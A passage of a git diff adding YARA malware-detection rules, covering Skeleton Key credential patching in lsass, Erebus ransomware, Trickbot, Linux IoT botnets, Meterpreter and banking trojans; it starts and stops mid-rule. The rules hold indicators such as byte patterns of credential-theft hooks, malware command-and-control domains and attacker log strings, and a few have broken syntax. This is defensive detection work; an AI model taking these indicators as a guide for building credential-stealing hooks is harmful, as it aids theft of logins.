+	   $patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 
+	   8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 
+	   00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 
+	   84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 }
+	   
+	   $patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 
+	   24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 
+	   08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 
+	   78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 
+	   8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+	   
+	   $patch_SamIRetrieveMultiplePrimaryCredential  = { 48 89 5C 24 08 48 89 6C 24 10 
+	   48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 
+	   40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 
+	   66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 
+	   8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+
+	condition:
+       any of them
+}
+
+rule skeleton_key_patcher
+{
+	meta:
+		author = "secureworks"
+		reference = "https://www.secureworks.com/research/skeleton-key-malware-analysis"
+
+	strings:
+       $target_process = "lsass.exe" wide
+       $dll1 = "cryptdll.dll"
+       $dll2 = "samsrv.dll"
+
+       $name = "HookDC.dll"
+
+       $patched1 = "CDLocateCSystem"
+       $patched2 = "SamIRetrievePrimaryCredentials"
+       $patched3 = "SamIRetrieveMultiplePrimaryCredentials"
+
+	condition:
+       all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/secureworks/skeleton_key_injected_code.yar b/yara-mikesxrs/secureworks/skeleton_key_injected_code.yar
new file mode 100644
index 0000000..0329294
--- /dev/null
+++ b/yara-mikesxrs/secureworks/skeleton_key_injected_code.yar
@@ -0,0 +1,30 @@
+rule skeleton_key_injected_code
+{
+	meta:
+		author = "secureworks"
+		reference = "https://www.secureworks.com/research/skeleton-key-malware-analysis"
+
+	strings:
+       $injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 
+	   00 48 81 C4 58 01 00 00 C3 }
+	   
+	   $patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 
+	   8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 
+	   00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 
+	   84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 }
+	   
+	   $patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 
+	   24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 
+	   08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 
+	   78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 
+	   8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+	   
+	   $patch_SamIRetrieveMultiplePrimaryCredential  = { 48 89 5C 24 08 48 89 6C 24 10 
+	   48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 
+	   40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 
+	   66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 
+	   8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+
+	condition:
+       any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/secureworks/skeleton_key_patcher.yar b/yara-mikesxrs/secureworks/skeleton_key_patcher.yar
new file mode 100644
index 0000000..64fb93b
--- /dev/null
+++ b/yara-mikesxrs/secureworks/skeleton_key_patcher.yar
@@ -0,0 +1,20 @@
+rule skeleton_key_patcher
+{
+       meta:
+              author = "secureworks"
+              reference = "https://www.secureworks.com/research/skeleton-key-malware-analysis"
+
+       strings:
+       $target_process = "lsass.exe" wide
+       $dll1 = "cryptdll.dll"
+       $dll2 = "samsrv.dll"
+
+       $name = "HookDC.dll"
+
+       $patched1 = "CDLocateCSystem"
+       $patched2 = "SamIRetrievePrimaryCredentials"
+       $patched3 = "SamIRetrieveMultiplePrimaryCredentials"
+
+       condition:
+       all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/securityartwork/Erebus_Ransomware.yar b/yara-mikesxrs/securityartwork/Erebus_Ransomware.yar
new file mode 100644
index 0000000..22ff9d1
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/Erebus_Ransomware.yar
@@ -0,0 +1,17 @@
+rule Erebus: MALW
+{
+	meta:
+		description = "Erebus Ransomware"
+		author = "Joan Soriano / @joanbtl"
+		date = "2017-06-23"
+		version = "1.0"
+		MD5 = "27d857e12b9be5d43f935b8cc86eaabf"
+		SHA256 = "0b7996bca486575be15e68dba7cbd802b1e5f90436ba23f802da66292c8a055f"
+		ref1 = "http://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/"
+    ref2 = "https://www.securityartwork.es/2017/06/28/analisis-erebus-ransomware-linux/"
+	strings:
+		$a = "/{5f58d6f0-bb9c-46e2-a4da-8ebc746f24a5}//log.log"
+		$b = "EREBUS IS BEST."
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/securityartwork/HardcodeHunter.yar b/yara-mikesxrs/securityartwork/HardcodeHunter.yar
new file mode 100644
index 0000000..55bc660
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/HardcodeHunter.yar
@@ -0,0 +1,13 @@
+rule HardcodeHunter
+{
+        meta:
+                description = "Veil Hardcoded IP"
+                reference = "https://www.securityartwork.es/2015/03/20/deteccion-de-codigo-malicioso-con-yara-i/"
+        strings:
+                $ IP = / (25 [0-5] | 2 [0-4] [0-9] | [01]? [0-9] [0-9]?) \.
+                      (25 [0-5] | 2 [0-4] [0-9] | [01]? [0-9] [0-9]?) \.
+                      (25 [0-5] | 2 [0-4] [0-9] | [01]? [0-9] [0-9]?) \.
+                      (25 [0-5] | 2 [0-4] [0-9] | [01]? [0-9] [0-9]?) /
+        condition:
+                $ IP at 0x28df
+}
diff --git a/yara-mikesxrs/securityartwork/IoT_Reaper.yar b/yara-mikesxrs/securityartwork/IoT_Reaper.yar
new file mode 100644
index 0000000..2b50468
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/IoT_Reaper.yar
@@ -0,0 +1,17 @@
+rule LinuxIoTReaper: MALW
+{
+meta: 
+	description = "LinuxIoTReaper"
+	author = "Joan Soriano / @w0lfvan"
+	reference = "https://www.securityartwork.es/2017/11/06/analisis-linux-iotreaper/"
+	date = "2017-10-30"
+	version = "1.0"
+	md5 = "95b448bdf6b6c97a33e1d1dbe41678eb"
+	sha256 = "b463ca6c3ec7fa19cd318afdd2fa2365fa9e947771c21c4bd6a3bc2120ba7f28"
+strings:
+		$a = "weruuoqweiur.com"
+		$b = "rm -f /tmp/ftpupload.sh \n"
+		$c = "%02x-%02x-%02x-%02x-%02x-%02x"
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/securityartwork/Linux_Bew.yar b/yara-mikesxrs/securityartwork/Linux_Bew.yar
new file mode 100644
index 0000000..b2f5373
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/Linux_Bew.yar
@@ -0,0 +1,17 @@
+rule LinuxBew: MALW
+{
+	meta:
+		description = "Linux.Bew Backdoor"
+		author = "Joan Soriano / @w0lfvan"
+		date = "2017-07-10"
+		version = "1.0"
+    reference = "https://www.securityartwork.es/2017/07/21/linux-bew-backdoor-minado-bitcoin/"
+		MD5 = "27d857e12b9be5d43f935b8cc86eaabf"
+		SHA256 = "80c4d1a1ef433ac44c4fe72e6ca42395261fbca36eff243b07438263a1b1cf06"
+	strings:
+		$a = "src/secp256k1.c"
+		$b = "hfir.u230.org"
+		$c = “tempfile-x11session�
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/securityartwork/Linux_Helios.yar b/yara-mikesxrs/securityartwork/Linux_Helios.yar
new file mode 100644
index 0000000..362f88e
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/Linux_Helios.yar
@@ -0,0 +1,17 @@
+rule LinuxHelios: MALW
+{
+	meta:
+		description = "Linux.Helios"
+		author = "Joan Soriano / @w0lfvan"
+		date = "2017-10-19"
+		version = "1.0"
+		reference = "https://www.securityartwork.es/2017/10/23/analisis-linux-helios/"
+		MD5 = "1a35193f3761662a9a1bd38b66327f49"
+		SHA256 = "72c2e804f185bef777e854fe86cff3e86f00290f32ae8b3cb56deedf201f1719"
+	strings:
+		$a = "LIKE A GOD!!! IP:%s User:%s Pass:%s"
+		$b = "smack"
+		$c = "PEACE OUT IMMA DUP\n"
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/securityartwork/Meterpreter_rev_tcp.yar b/yara-mikesxrs/securityartwork/Meterpreter_rev_tcp.yar
new file mode 100644
index 0000000..9ca950b
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/Meterpreter_rev_tcp.yar
@@ -0,0 +1,16 @@
+rule Meterpreter_rev_tcp
+{
+        meta:
+                description = "Meterpreter reverse TCP"
+                reference = "https://www.securityartwork.es/2015/03/20/deteccion-de-codigo-malicioso-con-yara-i/"
+        strings:
+		$ metadata "ab.exe" wide nocase
+		$ dll1 = "MSVCRT.dll" nocase
+		$ dll2 = "KERNEL32.dll" nocase
+		$ dll3 = "ADVAPI32.dll" nocase
+		$ dll4 = "WSOCK32.dll" nocase
+		$ dll5 = "WS2_32.dll" nocase
+		$ dll6 = "ntdll.dll" nocase
+        condition:
+              #metadata == 2 and all of ($ dll *)
+}
diff --git a/yara-mikesxrs/securityartwork/OfficeMacrosWinintelDLL.yar b/yara-mikesxrs/securityartwork/OfficeMacrosWinintelDLL.yar
new file mode 100644
index 0000000..e37f30f
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/OfficeMacrosWinintelDLL.yar
@@ -0,0 +1,18 @@
+rule OfficeMacrosWinintelDLL
+{
+	meta:
+		Autor = "Manuel Bermudez"
+		date = "08-01-2015"
+		description = "Fichero office con macros sospechosa"
+		link = "https://www.securityartwork.es/2015/04/17/gestion-de-incidentes-practica-actuaciones-ante-malware-ii/"
+	strings:
+		$VBA1 = "VBA6"
+		$VBA2 = "VBA7"
+		$str1 = "wininet.dll" nocase
+		$str2 = "InternetOpenUrl" nocase
+		$str3 = "InternetReadFile" nocase
+		$str4 = "InternetOpen" nocase
+ 		$str5 = "InternetCloseHandle" nocase
+	condition:
+		1 of ($VBA*) and 2 of ($str*)
+}
diff --git a/yara-mikesxrs/securityartwork/linux_Okiru.yar b/yara-mikesxrs/securityartwork/linux_Okiru.yar
new file mode 100644
index 0000000..c85c3f6
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/linux_Okiru.yar
@@ -0,0 +1,17 @@
+rule LinuxOkiru: MALW
+{
+	meta:
+		description = "Linux.Okiru"
+		author = "Joan Soriano / @w0lfvan"
+		reference = "https://www.securityartwork.es/2017/12/18/analisis-linux-okiru/"
+		date = "2017-11-03"
+		version = "1.0"
+		MD5 = "0e1e8079cc78cd242dd70867bc30c8d1"
+		SHA256 = "601ad06dd9de8c19c196441f4a405c95dbd752c95fb017fda6c4fc7ca6d86d9c"
+	strings:
+		$a = "/usr/dvr_main _8182T_1108"
+		$b = "/var/Challenge"
+		$c = "/mnt/mtd/app/gui"
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/securityartwork/multibanker.yar b/yara-mikesxrs/securityartwork/multibanker.yar
new file mode 100644
index 0000000..cc2d8bf
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/multibanker.yar
@@ -0,0 +1,81 @@
+/*
+https://www.securityartwork.es/2015/06/03/deteccion-de-codigo-malicioso-con-yara-ii/
+*/
+
+rule xmlc : banker{
+    strings: 
+        $a = "/c del" fullword
+        $b = "PostDel" fullword
+        $c = ">> NUL" fullword
+        $d = "LOADXML"
+        $e = "lm.dat"
+        $f = "---------------%s----------------"
+
+    condition:
+        filesize < 150KB and (3 of ($a,$b,$c,$d,$e,$f))      
+}
+
+rule silent_banker : banker
+{
+    strings: 
+        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}  
+        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
+        $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
+
+    condition:
+        $a or $b or $c
+}
+
+rule zbot : banker
+{
+     strings: 
+        $a = "__SYSTEM__" wide
+        $b = "*tanentry*"
+        $c = "*<option"
+        $d = "*<select"
+        $e = "*<input"
+
+     condition:
+        ($a and $b) or ($c and $d and $e)
+}
+
+rule banbra : banker
+{
+    strings: 
+        $a = "senha" fullword nocase
+        $b = "cartao" fullword nocase
+        $c = "caixa" 
+        $d = "login" fullword nocase
+        $e = ".com.br"
+
+     condition:
+        #a > 3 and #b > 3 and #c > 3 and #d > 3 and #e > 3              
+}
+
+
+
+rule spyeye
+{
+        meta:
+        description = "Indicates that the SpyEye Trojan is installed"
+
+        strings:
+        $a = "SPYNET"
+        $b = "SpyEye"
+
+        condition:
+        ($a and $b)
+}
+
+rule tdl3
+{
+        meta:
+        null_string = 1
+
+        strings:
+        $1 = "\\\\?\\globalroot\\"
+        $2 = ".ini" 
+
+        condition:
+        all of them
+        }
diff --git a/yara-mikesxrs/securityartwork/shellcode_cve_2013_2729.yar b/yara-mikesxrs/securityartwork/shellcode_cve_2013_2729.yar
new file mode 100644
index 0000000..e7d6abd
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/shellcode_cve_2013_2729.yar
@@ -0,0 +1,23 @@
+rule shellcode_cve_2013_2729
+{
+meta:
+        author = "Manuel"
+        company = "S2 Grupo"
+        date = "2014-12-17"
+        reference = "https://www.securityartwork.es/2014/12/18/regla-yara-para-cve-2013-2729/"
+        description = "PDF con shellcode CVE 2013_2729"
+        link1 = "http://www.binamuse.com/papers/XFABMPReport.pdf"
+        link2 = "https://github.com/feliam/CVE-2013-2729/blob/master/XFABMPExploit.py"
+        link3 = "https://github.com/feliam/CVE-2013-2729/blob/master/E10.1.4.pdf "
+        link4 = "https://www.securityartwork.es/2014/09/30/pdf-deconstruido-al-
+                 aroma-de-shellcode-i/"
+        md5test =  "eb9228f17568704676385428d3bbefff"
+strings:
+        $xfa1 = "XFA 1 0 R"
+        $xfa2 = "XFA 2 0 R"
+        $xfa3 = "XFA 3 0 R"
+        $s0 = "AcroForm 2 0 R"
+        $s1 = "/Filter [/Fl"
+condition:
+        1 of ($xfa*) and all of ($s*)
+}
diff --git a/yara-mikesxrs/securityartwork/trickbot.yar b/yara-mikesxrs/securityartwork/trickbot.yar
new file mode 100644
index 0000000..e7d6266
--- /dev/null
+++ b/yara-mikesxrs/securityartwork/trickbot.yar
@@ -0,0 +1,66 @@
+rule MALW_trickbot_bankBot : Trojan
+{
+meta:
+  author = "Marc Salinas @Bondey_m"
+  description = "Detects Trickbot Banking Trojan"
+  reference = "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf"
+strings:
+  $str_trick_01 = "moduleconfig"
+  $str_trick_02 = "Start"
+  $str_trick_03 = "Control"
+  $str_trick_04 = "FreeBuffer"
+  $str_trick_05 = "Release"
+condition:
+  all of ($str_trick_*)
+}
+
+rule MALW_systeminfo_trickbot_module : Trojan
+{
+meta:
+  author = "Marc Salinas @Bondey_m"
+  description = "Detects systeminfo module from Trickbot Trojan"
+  reference = "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf"
+strings:
+  $str_systeminf_01 = "<program>"
+  $str_systeminf_02 = "<service>"
+  $str_systeminf_03 = "</systeminfo>"
+  $str_systeminf_04 = "GetSystemInfo.pdb"
+  $str_systeminf_05 = "</autostart>"
+  $str_systeminf_06 = "</moduleconfig>"
+condition:
+all of ($str_ systeminf_*)
+}
+
+rule MALW_dllinject_trickbot_module : Trojan
+{
+meta:
+  author = "Marc Salinas @Bondey_m"
+  description = " Detects dllinject module from Trickbot Trojan"
+  reference = "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf"
+strings:
+  $str_dllinj_01 = "user_pref("
+  $str_dllinj_02 = "<ignore_mask>"
+  $str_dllinj_03 = "<require_header>"
+  $str_dllinj_04 = "</dinj>"
+condition:
+  all of ($str_ dllinj_*)
+}
+
+rule MALW_mailsercher_trickbot_module : Trojan
+{
+meta:
+  author = "Marc Salinas @Bondey_m"
+  description = " Detects mailsearcher module from Trickbot Trojan"
+  reference = "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf"
+strings:
+  $str_mails_01 = "mailsearcher"
+  $str_mails_02 = "handler"
+  $str_mails_03 = "conf"
+  $str_mails_04 = "ctl"
+  $str_mails_05 = "SetConf"
+  $str_mails_06 = "file"
+  $str_mails_07 = "needinfo"
+  $str_mails_08 = "mailconf"
+condition:
+  all of ($str_mails_*)
+}
diff --git a/yara-mikesxrs/sentinelone/IDAnt_wanna.yara b/yara-mikesxrs/sentinelone/IDAnt_wanna.yara
new file mode 100644
index 0000000..6788176
--- /dev/null
+++ b/yara-mikesxrs/sentinelone/IDAnt_wanna.yara
@@ -0,0 +1,14 @@
+import "elf"
+
+rule IDAnt_wanna : antidissemble antianalysis
+{
+	meta:
+		author = "Tim 'diff' Strazzere <diff@sentinelone.com><strazz@gmail.com>"
+		reference = "https://sentinelone.com/blogs/breaking-and-evading/"\
+		filetype = "elf"
+		description = "Detect a misalligned program header which causes some analysis engines to fail"
+		version = "1.0"
+		date = "2015-12"
+	condition:
+		for any i in (0..elf.number_of_segments - 1) :(elf.segments[i].offset >= filesize) and elf.number_of_sections == 0 and elf.sh_entry_size == 0
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/sentinelone/iOS.GuiInject.yara b/yara-mikesxrs/sentinelone/iOS.GuiInject.yara
new file mode 100644
index 0000000..52e3e51
--- /dev/null
+++ b/yara-mikesxrs/sentinelone/iOS.GuiInject.yara
@@ -0,0 +1,75 @@
+private rule _fat
+{
+    meta:
+        reference = "http://pastebin.com/2W0tyUAF"
+        reference2 = "https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/"
+
+    //  0   belong      0xcafebabe
+    //  >4  belong      1       Mach-O universal binary with 1 architecture
+    //  >4  belong      >1
+    //  >>4 belong      <20     Mach-O universal binary with %ld architectures
+ 
+    strings:
+        $fat = { CA FE BA BE }
+ 
+    condition:
+        $fat at 0 and uint32(4) < 0x14000000
+}
+ 
+private rule _macho
+{
+    meta:
+        reference = "http://pastebin.com/2W0tyUAF"
+        reference2 = "https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/"
+
+    strings:
+        $macho1 = { CE FA ED FE }   // Little Endian
+        $macho2 = { CF FA ED FE }   // Little Endian 64
+        $macho3 = { FE ED FA CE }   // Big Endian
+        $macho4 = { FE ED FA CF }   // Big Endian 64
+ 
+    condition:
+        for any of ( $macho* ) : ( $ at 0 ) or _fat
+}
+ 
+rule lib_jb
+{
+    meta:
+        reference = "http://pastebin.com/2W0tyUAF"
+        reference2 = "https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/"
+
+    strings:
+        $import = "libguiinject.dylib"
+ 
+    condition:
+        _macho and $import
+}
+ 
+rule app_jb
+{
+    meta:
+        reference = "http://pastebin.com/2W0tyUAF"
+        reference2 = "https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/"
+
+    strings:
+        $import1 = "@executable_path/jailbreak" nocase
+        $import2 = "@executable_path/patch" nocase
+ 
+    condition:
+        _macho and any of ( $import* )
+}
+ 
+rule ipa_jb
+{
+    meta:
+        reference = "http://pastebin.com/2W0tyUAF"
+        reference2 = "https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/"
+        
+    strings:
+        $zip = "PK"
+        $import1 = ".app/jailbreak" nocase
+        $import2 = ".app/patch" nocase
+ 
+    condition:
+        $zip at 0 and any of ( $import* )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/srozb/isfb.yar b/yara-mikesxrs/srozb/isfb.yar
new file mode 100644
index 0000000..bcbc458
--- /dev/null
+++ b/yara-mikesxrs/srozb/isfb.yar
@@ -0,0 +1,153 @@
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2016-11-14
+	Identifier: 
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule dimsmifs_exe {
+	meta:
+		description = "Auto-generated rule - file dimsmifs.exe.malware"
+		author = "YarGen Rule Generator"
+		reference = "not set"
+		date = "2016-11-14"
+		hash1 = "a6830427d8b818ac690af6f3a6fa974bc286d9e5861550279267280594284f5d"
+	strings:
+		$s1 = "G:\\DOCS!!!\\MyProg\\FREELANCE\\CURRENT\\Krypton\\Krypton_15.0\\Bin\\StubNew.pdb" fullword ascii /* score: '29.00' */
+		$s2 = "LoaderPE: CreateProcess error:0x%X" fullword ascii /* score: '26.00' */
+		$s3 = "zero.exe" fullword ascii /* score: '21.00' */
+		$s4 = "RtlComputeCrc32=%d, PostCRC32=%d" fullword ascii /* score: '20.50' */
+		$s5 = "GetProcAddressNt: %s - OK" fullword ascii /* score: '17.00' */
+		$s6 = "FromBase64Crypto: PostCRC32 - OK" fullword ascii /* score: '16.00' */
+		$s7 = "GetProcAddressNt#%d: %s: %s" fullword ascii /* score: '15.50' */
+		$s8 = "LoaderPE: Error CRC GO Exit1" fullword ascii /* score: '14.00' */
+		$s9 = "FromBase64Crypto: MemAllOk: %d, fun 0x%X" fullword ascii /* score: '13.50' */
+		$s10 = "8\"x:\"5.)|z~</" fullword ascii /* score: '12.00' */
+		$s11 = "DR0 = 0x%X,DR1 = 0x%X,DR2 = 0x%X,DR3 = 0x%X,DR6 = 0x%X,DR7 = 0x%X" fullword ascii /* score: '11.00' */
+		$s12 = "FromBase64Crypto: B64 error = 0x%p" fullword ascii /* score: '10.00' */
+		$s13 = "kgwnmqghbpfphjij" fullword ascii /* score: '9.00' */
+		$s14 = "oxgxteijvinoawfpo" fullword ascii /* score: '9.00' */
+		$s15 = "dwwKey from map = 0x%X" fullword ascii /* score: '8.00' */
+		$s16 = "KEY = 0x%X, Len = %d" fullword ascii /* score: '8.00' */
+		$s17 = "on_tls_callback2: Main FILE IS a DLL" fullword ascii /* score: '8.00' */
+		$s18 = "blhvfpadnwxhseo" fullword ascii /* score: '8.00' */
+		$s19 = "wtgtgbvdrclboj" fullword ascii /* score: '8.00' */
+		$s20 = "wpjhgmtboviobx" fullword ascii /* score: '8.00' */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 700KB and ( 10 of ($s*) ) ) or ( all of them )
+}
+
+rule _tmp_vawtrak_14_3af {
+	meta:
+		description = "Auto-generated rule - file 14_3af.dat"
+		author = "YarGen Rule Generator"
+		reference = "not set"
+		date = "2016-11-14"
+		hash1 = "f57fd8a48e90a7c061ad9c783935a39a8e41b619fa86a3d5fcdb873635e9f970"
+	strings:
+		$s1 = "mpress.exe" fullword wide /* score: '22.00' */
+		$s2 = "Z:\\fzw6rqq\\j\\gww\\tkclux\\8qt.pdb" fullword ascii /* score: '18.00' */
+		$s3 = "PE32, PE32+, .NET Compressor" fullword wide /* score: '12.42' */
+		$s4 = "Matcode comPRESSor" fullword wide /* score: '8.00' */
+		$s5 = "Copyright (C) 2008, MATCODE Software" fullword wide /* score: '7.00' */
+		$s6 = "* 8N'>" fullword ascii /* score: '7.00' */
+		$s7 = "!Lyyyyyyyy+!" fullword ascii /* score: '7.00' */
+		$s8 = "\\;.TuU" fullword ascii /* score: '7.00' */
+		$s9 = "mpress" fullword wide /* score: '7.00' */
+		$s10 = "o\"f&i\"Richg&i\"" fullword ascii /* score: '5.00' */
+		$s11 = "qg&i\"g&i\"g&i\"9" fullword ascii /* score: '5.00' */
+		$s12 = "m\"e&i\"g&i\"_&i\"g&h\"" fullword ascii /* score: '5.00' */
+		$s13 = "MATCODE Software" fullword wide /* score: '5.00' */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and ( 10 of ($s*) ) ) or ( all of them )
+}
+
+rule FakturaVAT_6587_pdf_scr {
+	meta:
+		description = "Auto-generated rule - file FakturaVAT_6587.pdf.scr.txt"
+		author = "YarGen Rule Generator"
+		reference = "not set"
+		date = "2016-11-14"
+		hash1 = "031d175a52280e5da95a0265d7156ed67d63d5c9d79e4ea972586045e44dec11"
+	strings:
+		$s1 = "$$$$$$$$$$$$,,,,,,4444444<<<<<<DDDDDDDLLLLLLTTTTTT\\\\\\\\\\\\\\ddddddlllllltttttt||||||" fullword ascii /* score: '19.00' */
+		$s2 = "$$$$$$$$$$$$,,,,,,,444444<<<<<<DDDDDDDLLLLLLTTTTLT\\\\\\\\\\\\dddddddlllllltttttt||||||" fullword ascii /* score: '18.00' */
+		$s3 = "$$$$$$$$$$$$,,,,,,,444444<<<<<<DDDDDDDLLLLLLTTTTTT\\\\\\\\\\\\dddddddlllllltttttt||||||" fullword ascii /* score: '18.00' */
+		$s4 = "$$$$$$$$$$$$,,,,,,4444444<<<<<<DDDDDDDLLLLLLTTTTLT\\\\\\\\\\\\dddddddlllllltttttt||||||" fullword ascii /* score: '18.00' */
+		$s5 = "$$$$$$$$$$$$,,,,,,4444444<<<<<<DDDDDDDLLLLLLTTTTTT\\\\\\\\\\\\dddddddlllllltttttt||||||" fullword ascii /* score: '18.00' */
+		$s6 = "$$$$$$$$$$$$,,,,,,4444444<<<<<<DDDDDDDLLLLLLTTTTLT\\\\\\\\T\\dddddddlllllltttttt||||||" fullword ascii /* score: '18.00' */
+		$s7 = "$$$$$$$$$$$$,,,,,,4444444<<<<<<DDDDDDDLLLLLLTTTTTT\\\\\\\\T\\dddddddlllllltttttt||||||" fullword ascii /* score: '18.00' */
+		$s8 = "$$$$$$$$$$$$,,,,,,4444444<<<<<<DDDDDDDLLLLLLTTTTLT\\\\\\\\T\\\\ddddddlllllltttttt||||||" fullword ascii /* score: '18.00' */
+		$s9 = ".FTP()" fullword ascii /* score: '11.00' */
+		$s10 = "L@CMainFrame" fullword ascii /* score: '7.00' */
+		$s11 = "PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDI" ascii /* score: '6.50' */
+		$s12 = "Laplacian" fullword wide /* score: '6.00' */
+		$s13 = "Prewitt" fullword wide /* score: '5.00' */
+		$s14 = "?????0-360??????" fullword wide /* score: '5.00' */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and ( 10 of ($s*) ) ) or ( all of them )
+}
+
+rule Sprawa_PL73092802_pdf {
+	meta:
+		description = "Auto-generated rule - file Sprawa_PL73092802.pdf.exe"
+		author = "YarGen Rule Generator"
+		reference = "not set"
+		date = "2016-11-14"
+		hash1 = "7f0359314eb3577075367df11699cafd8a5f6c36da0e58890acebbce4144eb05"
+	strings:
+		$s1 = "blOGk_" fullword ascii /* score: '8.00' */
+		$s2 = "* lc~F" fullword ascii /* score: '7.00' */
+		$s3 = ".jwK[ " fullword ascii /* score: '6.42' */
+		$s4 = ".hvJ=R" fullword ascii /* score: '6.00' */
+		$s5 = "K}i*%S4" fullword ascii /* score: '6.00' */
+		$s6 = "1\"1'191C1H1d1n1" fullword ascii /* score: '5.00' */
+		$s7 = "2\"3.373=3C3J3Q3n3" fullword ascii /* score: '5.00' */
+		$s8 = "<l=+>,?<?M?U?e?v?" fullword ascii /* score: '5.00' */
+		$s9 = "=*=2=P=X=#?>?O?o?" fullword ascii /* score: '5.00' */
+		$s10 = "; ;$;(;,;0;4;l;t;|;" fullword ascii /* score: '5.00' */
+		$s11 = ">#>)>5>;>D>J>_>e>p>|>" fullword ascii /* score: '5.00' */
+		$s12 = "0)191?1K1Q1a1g1m1|1" fullword ascii /* score: '5.00' */
+		$s13 = "<;<A<O<T<\\<b<p<u<}<" fullword ascii /* score: '5.00' */
+		$s14 = "3&3/343:3D3M3X3d3i3y3~3" fullword ascii /* score: '5.00' */
+		$s15 = "4080<0@0D0H0L0P0T0X0" fullword ascii /* score: '5.00' */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 700KB and ( 10 of ($s*) ) ) or ( all of them )
+}
+
+rule _tmp_vawtrak_14_3ae {
+	meta:
+		description = "Auto-generated rule - file 14_3ae.dat"
+		author = "YarGen Rule Generator"
